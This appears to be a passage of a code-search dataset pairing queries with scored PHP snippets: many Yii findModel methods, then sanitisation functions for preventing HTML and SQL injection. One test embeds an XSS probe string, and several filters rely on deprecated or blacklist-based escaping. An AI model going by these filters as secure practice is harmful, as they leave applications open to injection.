$this->applyRelationsScope($query);\n\n $this->controller->restExtendQuery($query);\n $result = $query->find($recordId);\n\n if (!$result) {\n throw new HttpException(404,\n sprintf('Record with an ID of %u could not be found.', $recordId)\n );\n }\n\n $result = $this->controller->restExtendModel($result) ?: $result;\n\n return $result;\n }", "title": "" }, { "docid": "608fd09a8122f4a6e3d351bc1e3eb788", "score": "0.67447203", "text": "protected function findModel($id)\n {\n if (($model = Epiplo::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n \n \n \n }", "title": "" }, { "docid": "03b2bdd4e03bc5132a67fbc80c284359", "score": "0.6737345", "text": "public static function read($id)\n\t{\n\t\tif ($model = static::find($id)) {\n\t\t\treturn $model;\n\t\t}\n\t\tthrow new NotFound;\n\t}", "title": "" }, { "docid": "5a9467fceaecf099ce939467f5221985", "score": "0.6736702", "text": "protected function findModel($id) {\n\t\tif (($model = CustomerContract::findOne($id)) !== null) {\n\t\t\treturn $model;\n\t\t}\n\n\t\tthrow new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\n\t}", "title": "" }, { "docid": "ef28dd027b34de5e913a32b71c3e9e1b", "score": "0.673189", "text": "protected function findModel($id) {\n if (($model = Request::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "4a44862c37146b4c7482386a733bf6ab", "score": "0.67236716", "text": "protected function findModel($id)\n {\n if (($model = TesBkScp::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "319b48b698a92d22e4fead6150663b79", "score": "0.67178136", "text": "protected function findModel($id) {\r\n\t\tif (($model = VipAddress::findOne ( $id )) !== null) {\r\n\t\t\treturn $model;\r\n\t\t} else {\r\n\t\t\tthrow new NotFoundHttpException ( 'The requested page does not exist.' );\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "beed5260e48565ff9d889b2efb7c5e6c", "score": "0.67171365", "text": "protected function findModel($id)\n {\n if (($model = AuthItem::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "beed5260e48565ff9d889b2efb7c5e6c", "score": "0.67171365", "text": "protected function findModel($id)\n {\n if (($model = AuthItem::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "1d78c322081ce91dd8b66e6389d53fa7", "score": "0.6715689", "text": "protected function findModel($id)\n\t{\n\t\t$modelClass = $this->modelClass;\n\n\t\tif ( ($model = $modelClass::findOne($id)) !== null )\n\t\t{\n\t\t\treturn $model;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthrow new NotFoundHttpException(Yii::t('yii', 'Page not found.'));\n\t\t}\n\t}", "title": "" }, { "docid": "3f284e8f7fe46cbc4aad153ef9b5e95c", "score": "0.67028296", "text": "protected function findModel($id)\n {\n $model = Mails::findOne($id);\n\n if (!is_null($model))\n return $model;\n else\n throw new NotFoundHttpException();\n\n }", "title": "" }, { "docid": "1aab7746e72a9ea8809430722c1941b7", "score": "0.6701065", "text": "protected function findModel($id)\n {\n if (($model = PdmP9::findOne($id)) !== null) {\n return $model;\n } \n\t\t}", "title": "" }, { "docid": "173363df2ba0a88957d49a05a8ada6bf", "score": "0.6693777", "text": "protected function findModel($id)\n {\n if (($model = Securitas::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "187759220557008a74ac90a119195005", "score": "0.66931105", "text": "protected function findModel($id) {\n if (($model = OutboundRepair::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "cd46a11f648bb4f5c1e9dea86a9150ef", "score": "0.6688493", "text": "public function findModel($key, $attributes = []) {\n $this->model->setRouteKey($key);\n $path = $this->model->getApiPath();\n\n try {\n $response = $this::get($path, ['fields' => implode(\",\", $attributes)]);\n } catch (Exception $exception) {\n // Model not found\n return null;\n }\n\n // Model exists so create the model to return\n $model = (new $this->model())->forceFill($response);\n $model->exists = true;\n\n return $model;\n }", "title": "" }, { "docid": "02e7e954a2f038f72fb2e6badadf1d9d", "score": "0.66877156", "text": "protected function findModel($id)\n {\n if (($model = HdcSTable::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "30f502224f58feba9d5a4b14d8b7e637", "score": "0.66876876", "text": "protected function findModel($id)\n {\n\t\t\n\t\t$satker_id = (int)Yii::$app->user->identity->employee->satker_id;\n\t\t$employee = Employee::find()\n\t\t\t\t\t->where([\n\t\t\t\t\t\t'person_id'=>$id,\n\t\t\t\t\t\t'satker_id'=>$satker_id,\n\t\t\t\t\t])\n\t\t\t\t\t->count();\n if (($model = Person::findOne($id)) !== null and $employee>0) {\n return $model;\n } else {\n throw new NotFoundHttpException(Yii::t('app','SYSTEM_TEXT_PAGE_NOT_FOUND'));\n }\n }", "title": "" }, { "docid": "9d4e13dee80438b8ef5a92220986c2c8", "score": "0.6687129", "text": "protected function findModel($id) {\n if (($model = Poa::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "57813ad0fec6a768cc37ef9dc80ebdb1", "score": "0.6684649", "text": "protected function findModel($id)\n {\n if (($model = ServiceRecord::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "29737a9c74f36ff28188a07e4ec2223d", "score": "0.66835564", "text": "protected function findModel($id)\n {\n if (($model = Result::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "1856d3fb162817cd9b44966de2895ce6", "score": "0.6682314", "text": "protected function findModel($id)\n {\n if (($model = ServicablePincodes::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "3a8c917a727f04ebdd25e68778f54d4e", "score": "0.6680937", "text": "protected function findModel($id)\n {\n if (($model = Document::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "3a8c917a727f04ebdd25e68778f54d4e", "score": "0.6680937", "text": "protected function findModel($id)\n {\n if (($model = Document::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "4665829ecae54caae6718cf9542ea102", "score": "0.66794884", "text": "protected function findModel($id)\n {\n if (($model = Crontabs::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "0e42ff74da5c080ccf7ca4566fe9dfb8", "score": "0.6678171", "text": "protected function findModel($id)\n {\n if (($model = In::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "23492638904c8549c3de2196929c7675", "score": "0.66771376", "text": "protected function findModel($id) {\n if (($model = BeliSupplier::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\n }", "title": "" }, { "docid": "d1786ff34c1e9933c3187394eb20898b", "score": "0.6674541", "text": "protected function findModel($id)\n {\n if (($model = Dict::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "f2435d7cf6e16661fa1173df459e44a0", "score": "0.6673232", "text": "protected function findModel($id)\n {\n $modelName=$this->modelName;\n if (($model = $modelName::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "a6103299cf4a4dc17975f420c06fa53c", "score": "0.66725624", "text": "public function find(int $modelId);", "title": "" }, { "docid": "82d5d488841950517b5dd51fa427fba4", "score": "0.6669139", "text": "protected function findModel($id) {\n if (($model = JobOrderMaster::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "2900ef925d6d0d4aa9af3f2dedbf68f1", "score": "0.66678774", "text": "protected function findModel($id)\n {\n if (($model = AutoServiceWork::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "7d183d8f57d1370e82a702be0abbdf95", "score": "0.66673106", "text": "protected function findModel($id)\n {\n if (($model = LuObject::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "e81b1808c5b79dd093c1c15508a86fee", "score": "0.6666956", "text": "protected function findModel($id)\n {\n if (($model = Tb_akun1::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "be42fa16f3893dc95d25e91bf746d08e", "score": "0.6659925", "text": "protected function findModel($id)\n {\n if (($model = Escoteiro::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\n }", "title": "" }, { "docid": "6f1805ff030c203996ef6380cc81350c", "score": "0.66581905", "text": "protected function findModel($id)\n {\n if (($model = Master::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "ef4ca59eb7228f59cf717021daf57f8f", "score": "0.66576916", "text": "protected function findModel($id)\n {\n if (($model = Jadwal::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "b72f433872ed49a506cf53025cd87e42", "score": "0.66562486", "text": "protected function findModel($id)\n\t{\n\t\t\n\t\t\n\t\tif (($model = Reservacion::findOne($id)) !== null) {\n\t\t\t\n\t\t\t\n\t\t\treturn $model;\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\tthrow new NotFoundHttpException('The requested page does not exist.');\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "bebffb7a142df2934e0e873774d38e12", "score": "0.6654055", "text": "protected function findModel($id)\n {\n if (($model = Employee::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException(Yii::t('app','SYSTEM_TEXT_PAGE_NOT_FOUND'));\n }\n }", "title": "" }, { "docid": "82eaac5f75c874dfc290a1e16632b304", "score": "0.66504645", "text": "protected function findModel( $id )\n {\n if (( $model = StaticPage::findOne( $id ) ) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException( 'The requested page does not exist.' );\n }\n }", "title": "" }, { "docid": "09edf90a417346d577b264b21420e65c", "score": "0.6650157", "text": "protected function findModel($id)\n {\n if (($model = KuisionerResult::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "791a51e2e0af5136151a5e953fc5698e", "score": "0.664507", "text": "protected function findModel($id) {\n if (($model = FpLists::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "53080271a7f97367e87f5594630d98af", "score": "0.66442883", "text": "protected function findModel($id,$type = 2)\n {\n if (($model = DeviceInfo::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "ebed8d80cf96fef5ac0fb5c6d95e3b05", "score": "0.66437715", "text": "protected function findModel($id)\n {\n if (($model = Modelli::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "b43af4c2de648d0621cba5b9779e415b", "score": "0.6643711", "text": "protected function findModel($id)\n {\n if (($model = Sutra::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "74592561e6e9b79b079455e22fe0aea0", "score": "0.66422826", "text": "protected function findModel($id)\n {\n if (($model = Yieldbase::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "84a93c7880d916c26c9daba7cff14abc", "score": "0.6641639", "text": "protected function findModel($id)\n {\n if (($model = TblAbsen::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "81ac9b179a6f8f8807575fb6c2a48682", "score": "0.66413146", "text": "protected function findModel($id)\n {\n if (($model = ShopsClass::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "93fb63bf0d961dbe9c82475dd1002fd9", "score": "0.6640863", "text": "protected function findModel($id) {\n if (($model = JobList::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "f4654ad246a19b231e137483714ec8f4", "score": "0.66401184", "text": "protected function findModel($id)\n {\n if (($model = Document::findOne($id)) !== null) {\n return $model;\n } else {\n $res = Yii::$app->response;\n $res->format = Response::FORMAT_RAW;\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "221e8b4c71a8b272ccec6977a736f001", "score": "0.66376513", "text": "protected function findModel($id)\n {\n if (($model = PayTemplate::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "e78ac12de4079076cc027d4fdae18fe4", "score": "0.6636092", "text": "protected function findModel($id)\n {\n if (($model = Documento::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "e78ac12de4079076cc027d4fdae18fe4", "score": "0.6636092", "text": "protected function findModel($id)\n {\n if (($model = Documento::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "d65cafbd0e9788534a0cba1e02ecdcdd", "score": "0.66291386", "text": "protected function findModel($id)\n\t{\n\t\tif (($model = RealEstate::find()->where(['id' => (int)$id, 'user_id' => Yii::$app->user->id])->one()) !== null) {\n\t\t\treturn $model;\n\t\t} else {\n\t\t\t$this->throwNoPageFound();\n\t\t}\n\t}", "title": "" }, { "docid": "e9152402b935830f02cbdb0ae544527f", "score": "0.66271955", "text": "protected function findModel($id)\n {\n Yii::$app->CheckAdmin->authCheck(); // Checking the admin is logged in or not\n\n if (($model = TblEmployee::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "78b20b446b33819c5e50ff77c4faada2", "score": "0.6626283", "text": "protected function findModel($id)\r\n {\r\n if (($model = InsCfg::findOne($id)) !== null) {\r\n return $model;\r\n } else {\r\n throw new NotFoundHttpException('The requested page does not exist.');\r\n }\r\n }", "title": "" }, { "docid": "7f7f34082963acbe6ed08a962e0af8fb", "score": "0.662467", "text": "protected function findModel($id)\n {\n if (($model = IjinDetail::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "1a39e92a93dae36691625bc5511df6c3", "score": "0.6622994", "text": "protected function findModel($id)\n {\n if (($model = Bahan::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "b398adf30c4a6b6d024da07d5bc3b68b", "score": "0.66199476", "text": "protected function findModel($id)\n {\n \tif (($model = Order::findOne($id)) !== null) {\n \t\treturn $model;\n \t} else {\n \t\tthrow new NotFoundHttpException('The requested page does not exist.');\n \t}\n }", "title": "" }, { "docid": "d2068a3774e8a773263959a2e2dd1fd6", "score": "0.6616303", "text": "protected function findModel($id)\n {\n if (($model = Publicador::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "93ca442fb132bcbb204de76e577627b9", "score": "0.661556", "text": "protected function findModel($id)\n {\n if (($model = AelLift::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "bb6fe7aec8762da52cc025f58e84ffb6", "score": "0.6606224", "text": "protected function findModel($id)\n {\n if (($model = ProvidedService::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException('The requested page does not exist.');\n }", "title": "" }, { "docid": "62a54a75d3eac07a31f4aaa4e7577eec", "score": "0.66032535", "text": "protected function findModel($id)\r\n {\r\n if (($model = Pesan::findOne($id)) !== null) {\r\n return $model;\r\n } else {\r\n throw new NotFoundHttpException('The requested page does not exist.');\r\n }\r\n }", "title": "" }, { "docid": "cc8649d56e35fbc6254c1badbb714e9f", "score": "0.66031647", "text": "protected function findModel($id)\n {\n if (($model = RESERVED_SERVICES::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "e8db6498e490d333e86495936b86d1cf", "score": "0.66020715", "text": "protected function findModel($id)\n {\n if (($model = Konten::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\n }", "title": "" }, { "docid": "6784193037399eb17f1632e733e4dfb9", "score": "0.66013557", "text": "protected function findModel($id) {\n if (($model = Services::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "65dcee10d37c0ce7177ce7499ead3781", "score": "0.66008705", "text": "protected function findModel($id)\n {\n if (($model = SysBankcard::findOne($id)) !== null) {\n return $model;\n }\n\n throw new NotFoundHttpException(Yii::t('app', 'The requested page does not exist.'));\n }", "title": "" }, { "docid": "d28f5dd508300fcc6fbe785a0a84173b", "score": "0.6592901", "text": "protected function findModel($id)\n {\n if (($model = Hocvien::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "5ad0422eed73821c67df2837133ccf13", "score": "0.65917933", "text": "protected function findModel($id)\n {\n if (($model = Req::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "587369c9a96c6d8bd9dd4891c2470ea1", "score": "0.6591469", "text": "protected function findModel($id)\n {\n if (($model = Pais::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('The requested page does not exist.');\n }\n }", "title": "" }, { "docid": "e3f1d7401b62fe8738648d9891796e18", "score": "0.65897757", "text": "protected function findModel($id)\r\n {\r\n if (($model = Sales::findOne($id)) !== null) {\r\n return $model;\r\n } else {\r\n throw new NotFoundHttpException('The requested page does not exist.');\r\n }\r\n }", "title": "" }, { "docid": "ac23800128ff8718114b634dbd86eaae", "score": "0.6589496", "text": "protected function findModel($id) {\n if (($model = Cure::findOne($id)) !== null) {\n return $model;\n } else {\n throw new NotFoundHttpException('你所请求的页面不存在');\n }\n }", "title": "" }, { "docid": "cc6105fb8e16fb483a9f9f79b57c89fd", "score": "0.6588246", "text": "public function loadModel($id)\n\t{\n\t\t$model=Resultdocument::model()->findByPk($id);\n\t\tif($model===null)\n\t\t\tthrow new CHttpException(404,'The requested page does not exist.');\n\t\treturn $model;\n\t}", "title": "" } ]
bd51ebabcdad8599029c337c3a1a1f71
Prevent from HTML injections
[ { "docid": "51732351ca9eae680f91cfea27e167df", "score": "0.0", "text": "static public function dbResultHtmlSecurise($results) {\n\t\tif (is_array($results)) {\n\t\t\tforeach ($results as $key => $val) {\n\t\t\t\t$results[$key] = self::dbResultHtmlSecurise($val);\n\t\t\t}\n\t\t\treturn ($results);\n\t\t} else {\n\t\t\treturn htmlentities($results);\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "7441d61ac538ebe23fd2fb54c593f9db", "score": "0.74640244", "text": "function anti_injection($data){\r\n $filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\r\n return $filter;\r\n}", "title": "" }, { "docid": "aac318171f3d1afdbec5b4fc631f1d5f", "score": "0.74229217", "text": "function anti_injection($data){\n $filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n return $filter;\n}", "title": "" }, { "docid": "ba32ae3270857501be23e3fbd68a7f09", "score": "0.74119157", "text": "function anti_injection($data){\n\t$filter = stripcslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n\treturn $filter;\n}", "title": "" }, { "docid": "2f185746815b71bccae3f44ccb3cc241", "score": "0.7373964", "text": "function anti_injection($data){\n\t\t\t\t\t\t\t$filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n\t\t\t\t\t\t\treturn $filter;\n\t\t\t\t\t\t}", "title": "" }, { "docid": "a801f00272ccb118c4351c91e8246486", "score": "0.7267495", "text": "function anti_injection($data){\n\t\t$filter = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n\t\treturn $filter;\n\t}", "title": "" }, { "docid": "c0a4ab946345e3d0be8716dc3753f3b7", "score": "0.71743715", "text": "public function disableHtml();", "title": "" }, { "docid": "b8e7e7690ee7667134a5303720c4804d", "score": "0.71263474", "text": "function sanitize_html($string) {\n return htmlspecialchars($string);\n }", "title": "" }, { "docid": "1fc7002e1b8212ceca114bb9ac5ddecb", "score": "0.71176636", "text": "function test_xss_attack_with_html()\n {\n // We create a tab or html\n $xssAttack = \"<img src='img.jpg'>\";\n\n // We create one post with the tag above\n $post = $this->createPost([\n 'content' => \"$xssAttack. Text Normal.\"\n ]);\n\n // Visit the page of the post and I can´t see the tag of html.\n $this->visit($post->url)\n ->dontSee($xssAttack);\n }", "title": "" }, { "docid": "2696c4087a61c500533632a95e8c0195", "score": "0.70796955", "text": "public function purifyHtmlTags()\r\n {\r\n if ($this->htmlPurifier) {\r\n $this->safeText = $this->htmlPurifier->purify($this->text);\r\n }\r\n }", "title": "" }, { "docid": "6fe268cdc02efe045d6abede88638f16", "score": "0.69635195", "text": "function anti_injection($data){\n$filter = mysql_real_escape_string(\n\nstripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)))\n\n);\nreturn $filter;\n}", "title": "" }, { "docid": "b4419573d14051fe1cd94457903ebc51", "score": "0.69599074", "text": "function antiinjection($data){\n $filter_sql = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n return $filter_sql;\n}", "title": "" }, { "docid": "acd5808fe99d5a161bda5458347c3cd1", "score": "0.69467336", "text": "function AntiInjection($param){\r\n \t$param = strip_tags($param); // retirar as tags html \r\n\t$param = mysql_escape_string($param); //Retirar todas tags referentes do mysql ex: select, insert, update drop etc... \r\n\treturn $param; \r\n}", "title": "" }, { "docid": "af5b93722e712f8280d7229bb0b58cc8", "score": "0.69271785", "text": "function preventInjections($var)\n {\n $var = strip_tags($var);\n $var = htmlentities($var);\n $var = stripslashes($var);\n return mysql_real_escape_string($var);\n \n }", "title": "" }, { "docid": "5cf9c5e2a262a05d410a13fecf9f5adf", "score": "0.69195616", "text": "function skyre_sanitize_nohtml($input) {\n return wp_filter_nohtml_kses($input);\n}", "title": "" }, { "docid": "c1c1109e34539ca3ee564f8152521c0a", "score": "0.6892027", "text": "function anti_injection($data){\n\t\tglobal $conn; \n\t\t$filter = mysqli_real_escape_string($conn,stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES))));\n\t\treturn $filter;\n\t}", "title": "" }, { "docid": "38bf9708000a68bebafb8298d70005c8", "score": "0.6882512", "text": "function antiinjection($data){\n\t\t\t$filter_sql = stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES)));\n\t\t\treturn $filter_sql;\n\t\t}", "title": "" }, { "docid": "0aac8ab3828f3902ecaa4d9d8c9f3af2", "score": "0.6803192", "text": "function html_xss_clean($text)\n{\n return htmlspecialchars($text);\n}", "title": "" }, { "docid": "a3706f8db8eb6d9295873c7d150e0529", "score": "0.67969227", "text": "public function antiInjection($str){\n// $str = preg_replace(sql_regcase(\"/(\\n|\\r|%0a|%0d|Content-Type:|bcc:|to:|cc:|Autoreply:|from|select|insert|delete|where|drop table|show tables|#|\\*|--|\\\\\\\\)/\"), \"\", $str);\n $str = trim($str);\n # Remove espa�os vazios.\n $str = strip_tags($str);\n # Remove tags HTML e PHP.\n $str = addslashes($str);\n # Adiciona barras invertidas � uma string.\n return $str;\n}", "title": "" }, { "docid": "c264ca0ffd39eac5d0103ee41b25527c", "score": "0.6785645", "text": "function preventXSS(string $html)\n{\n $dom = new DOMDocument();\n $dom->loadHTML($html, LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);\n\n $scriptTags = $dom->getElementsByTagName('script');\n\n foreach ($scriptTags as $script) {\n $script->parentNode->removeChild($script);\n }\n\n return $dom->saveHTML();\n}", "title": "" }, { "docid": "4649b747c2a8a34d9095977967827c49", "score": "0.6746599", "text": "function antiinjection($data){\n $filter_sql = mysql_real_escape_string(stripslashes(strip_tags(htmlspecialchars($data,ENT_QUOTES))));\n return $filter_sql;\n}", "title": "" }, { "docid": "7ef0e3e1d825e1471a7ae7df53468ee2", "score": "0.6743581", "text": "function escapeHtml($unsafe) {\n $unsafe = preg_replace(\"|&|\", '&amp;', $unsafe);\n $unsafe = preg_replace(\"|<|\", '&lt;', $unsafe);\n $unsafe = preg_replace(\"|>|\", '&gt;', $unsafe);\n $unsafe = preg_replace('|\"|', '&quot;', $unsafe);\n $unsafe = preg_replace(\"|'|\", '&#039;', $unsafe);\n $safer = preg_replace(\"|\\n|\", '<br>', $unsafe);\n return $safer;\n}", "title": "" }, { "docid": "08797746ca61959720566b7eaaba195f", "score": "0.6654576", "text": "function profound_sanitize_nohtml($nohtml) {\r\n return wp_filter_nohtml_kses( $nohtml );\r\n}", "title": "" }, { "docid": "530859f9ab74c9434741cb62916de792", "score": "0.6644787", "text": "function cms_html8($str = '') {\n return htmlspecialchars($str, ENT_QUOTES);//,'UTF-8': with this para invalid str becomes empty str;fm sidu 3.5 this para been turned off, any bug found please fix this then!!!\n}", "title": "" }, { "docid": "2782e425d3e5444f8811ed906045d97e", "score": "0.6639186", "text": "function cleanEvilTags($data) {\n /*$data = preg_replace(\"/javascript/i\", \"j&#097;v&#097;script\",$data);\n $data = preg_replace(\"/alert/i\", \"&#097;lert\",$data);\n $data = preg_replace(\"/about:/i\", \"&#097;bout:\",$data);\n $data = preg_replace(\"/onmouseover/i\", \"&#111;nmouseover\",$data);\n $data = preg_replace(\"/onclick/i\", \"&#111;nclick\",$data);\n $data = preg_replace(\"/onload/i\", \"&#111;nload\",$data);\n $data = preg_replace(\"/onsubmit/i\", \"&#111;nsubmit\",$data);\n $data = preg_replace(\"/<body/i\", \"&lt;body\",$data);\n $data = preg_replace(\"/<html/i\", \"&lt;html\",$data);\n $data = preg_replace(\"/document\\./i\", \"&#100;ocument.\",$data);\n $data = preg_replace(\"/<script/i\", \"&lt;&#115;cript\",$data);*/\n return strip_tags(htmlspecialchars(trim($data)));\n}", "title": "" }, { "docid": "3f3fdf4dc9bffcdc929e5dcfd1db1041", "score": "0.65626085", "text": "function htmlspecialbo($str){\n\t\t$arrDenied\t= array('<', '>', '\"');\n\t\t$arrReplace\t= array('&lt;', '&gt;', '&quot;');\n\t\t$str = str_replace($arrDenied, $arrReplace, $str);\n\t\treturn $str;\n\t}", "title": "" }, { "docid": "a389a2a23de5ac2c3f0fed00eb738ef6", "score": "0.65306634", "text": "function Sanitize($text){\n\t\tif($text){\n \t\t$disallow = array('{','}','|','#','[',']','<','>','/','~~~');\n \t\t$text = str_replace($disallow, '', $text); // Get rid of any bad values that interfere with template\n \t\treturn htmlentities($text, ENT_QUOTES);} // Remove quotes and other items from text\n \treturn;\n\t}", "title": "" }, { "docid": "d78f23f2231bf7ae923c459e418eb159", "score": "0.6476017", "text": "function profound_sanitize_html($html) {\r\n return wp_filter_post_kses( $html );\r\n}", "title": "" }, { "docid": "e28c0d7a70f90bd3e8422c86d503ddd7", "score": "0.6474216", "text": "public function isEscapeHTML();", "title": "" }, { "docid": "d7907e787621ce171241aa135013a8c1", "score": "0.64606977", "text": "function safeHTML($html)\n{\n $html = strip_tags($html, \"<strong><em><i><u><a><br>\");\n $html = str_replace('<a ', '<a rel=\"nofollow\" ', $html);\n return $html;\n}", "title": "" }, { "docid": "d99948ed61bfdedfbc32809318495e22", "score": "0.6449789", "text": "function wp_filter_nohtml_kses( $data ) {\n\treturn addslashes( wp_kses( stripslashes( $data ), 'strip' ) );\n}", "title": "" }, { "docid": "2e64a928e3c6e41a34ff3a90b6d4bd5a", "score": "0.6445308", "text": "function sanitize($text) \n{ \n\t$text = str_replace(\"<\", \"&lt;\", $text); \n\t$text = str_replace(\">\", \"&gt;\", $text); \n\t$text = str_replace(\"\\\"\", \"&quot;\", $text); \n\t$text = str_replace(\"'\", \"&#039;\", $text); \n\t$text = addslashes($text); \n\t\n\treturn $text; \n}", "title": "" }, { "docid": "6000e13c5c8ed5b80a63ddc62970a838", "score": "0.64401644", "text": "function test_xss_attack()\n {\n // We create a tag of javascript\n $xssAttack = \"<script>alert('Malicious JS!')</script>\";\n\n // We create one post with the tag above\n $post = $this->createPost([\n 'content' => \"`$xssAttack`. Text Normal.\"\n ]);\n\n // Visit the page of the post and i can´t see the tag of javascript.\n $this->visit($post->url)\n ->dontSee($xssAttack)\n ->seeText('Text Normal')\n 